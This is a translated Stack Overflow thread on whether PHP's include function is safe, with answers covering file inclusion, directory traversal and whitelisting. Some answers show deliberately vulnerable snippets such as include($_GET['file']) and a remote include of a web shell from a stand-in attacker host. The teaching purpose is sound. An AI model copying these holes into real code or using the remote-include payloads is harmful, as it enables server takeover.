PHP - “include”函数是否安全?

11
我正在使用“include”函数(例如“include 'header2.php'”或“include 'class.users.php'”)在我的网站中添加头文件或会话类。我不太记得在哪里,但我听说黑客们某种方式滥用了这个“include”功能,发送虚假的包含页面或类似的东西。 基本上,我想知道这个“include”函数是什么,如何保护它,他们如何滥用它,以及是否有更好的解决方法来实现我所需要的功能。
提前感谢您的帮助。

1
如果一个人可以访问你的PHP代码,那么他们就在你的服务器中了。保护已经被入侵的东西是没有意义的。相反,应该专注于关闭入口点,例如修复应用程序的所有SQL注入漏洞。 - Blender
重点是,我听说“include”语句和SQL注入一样存在安全漏洞或可被黑客攻击。这是真的吗? - user1327735
如果使用不当,任何东西都是可以被利用的。只要你在include静态PHP文件,那么在这方面你真的没有什么可担心的。 - Blender
7个回答

19

这完全取决于你的实现方式。如果你明确设置了路径,那么就是安全的。如果你允许用户输入来决定文件路径而没有进行消毒或检查,则可能会发生攻击。

不安全(目录遍历)

<?php 
include($_GET['file']);
?>

不安全启用URL fopen

<?php 
include('http://evil.com/c99shell.php');
?>

不安全

<?php 
include('./some_dir/' . $_GET['file']);
?>

部分不安全(*.php文件容易受攻击)

<?php 
include('./some_dir/' . $_GET['file'] . '.php');
?>

安全(虽然我不确定为什么有人要这样做。)

<?php 
$allowed = array(
    'somefile.php',
    'someotherfile.php'
);

if (in_array(basename($_GET['file']), $allowed)) {
    include('./includes/' . basename($_GET['file']));
}
?>

安全

<?php 
include('./includes/somefile.php');
?>

4
包含文件的最大问题可能是将文件扩展名从PHP更改为不会被Web服务器自动执行的其他扩展名。例如- library.inc或config.inc。使用Web浏览器调用这些文件将显示代码而不是执行它-并显示任何密码或可利用的提示。
将可能包含密码的config.php与config.inc进行比较。在大多数情况下,打开config.inc会显示数据库密码。
有些程序员使用.inc扩展名来表示库。前提是它们不会位于Web服务器可以访问的目录中。但是,安全性较低的程序员可能会将该文件丢在方便的Web目录中。
否则,请确保不要包含通过查询字符串提交的文件。例如:include($_GET['menu_file']) <-- 这是非常错误的。

+1 非常好的提示关于文件扩展名可以被包含为代码,但是当在浏览器中单独加载时会暴露你的代码。 - DampeS8N
“通过 web 浏览器调用这些文件”是什么意思?假设您有一个名为“example.com”的公共服务器。 (1) 如果有人知道根目录中有一个名为“a.inc”的文件,他们可以通过 "http://example.com/a.inc" 查看它吗? (2) 如果他们不知道给定目录中存在哪些 .inc 文件,该怎么办? - Alan

3

如果您像这样使用Include,可能会被滥用:

include($_GET["page"]);

然后调用URL:

myscript.php?page=index.php

攻击者可以将index.php替换为hxxp://hackerz.ru/install_stuff.php,然后您的服务器将欣然运行它。

include本身是完全安全的。只需始终验证/转义您的输入即可。


3

只要你的服务器没有被入侵,任何后端操作都是安全的。以下操作不安全:

不安全的操作

$var = $_GET['var']';    
include $var . ".php";

安全

include "page.php"; 

1
注意:假设 page.php 是安全的。 ;) - Mr. Llama
1
当然可以,只要所引用的文件是可信且安全的。 - Blake

2

如果您不:

  1. 包含远程文件,如www.someoneelsesssite.com/something.php
  2. 从客户端传来的路径中包含文件。 www.mysite.com/bad.php?path=oops/here/is/your/passwords/file
  3. 从另一个可能被污染的来源(如数据库)中包含文件。

2和3技术上有一个警告:如果您禁止使用 . / 或在Windows上使用 \ ,那么您可能是安全的。但是,如果您不知道原因,则不要冒险。即使您认为数据库是只读的或者以其他方式安全的,也最好不要假设除非您确实必须这样做,而这几乎从来没有发生过。

正如pp19dd的答案所指出的那样。重要的是您将包含的名称命名为.php扩展名。如果您已经设置了apache(或其他web服务器)将其他文件类型解析为PHP,那么也是安全的。但是,如果您不确定,请专门使用.php。


@FritsvanCampen同意,但通常我会从这样一个角度来回答这个问题:任何需要提出这个问题的人都没有准备好承担任何风险。如果你的代码中有任何“神奇”的部分,那么你就不应该冒险。(所谓的“神奇”,是指它基于一种你不理解的机制运作) - DampeS8N

0
最好的做法是确保您要包含的页面首先存在。真正的安全漏洞出现在您的包含页面从某种用户输入(例如URL变量)进行处理时。只要您对此持谨慎态度,就应该没问题。 ?include=page.php
if(is_file($file)) {
    //other code, such as user verification and such should also go here
    include $file;
}
else { die(); }

这并不能保护你免受任何攻击。你的密码文件是一个文件,php.ini也是一个文件,所有攻击者可能找到的东西都是文件。 - DampeS8N
@DampeS8N:我并不是在暗示这是唯一要做的事情,只是这是过程中的一步。我还加了一个关于插入其他代码的注释,“用户验证等”。用户验证有助于确保不会访问到“成员”敏感页面。其他代码可以是文件黑名单。我不知道为什么你会对我的答案进行投票,而你的答案同样含糊不清。 - mseancole
不知道如何防范目录遍历攻击的人,在任何情况下都不应尝试动态地包含文件。你的回答表明,你能做的“最好”的事情就是确保文件存在。相关的安全信息并不含糊,而是缺失的。我没有为了伤害你而对你进行投票,如果你添加所需的信息,我会取消投票。请取消你对我的回答的投票,或者留下评论说明你认为什么是含糊的。 - DampeS8N

-2

我正在使用这个方法。

<?php include (dirname(__FILE__).'/file.php');

希望这对你有用,但为了更好的回答,你可以解释一下为什么这个方法有效。 - jean

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接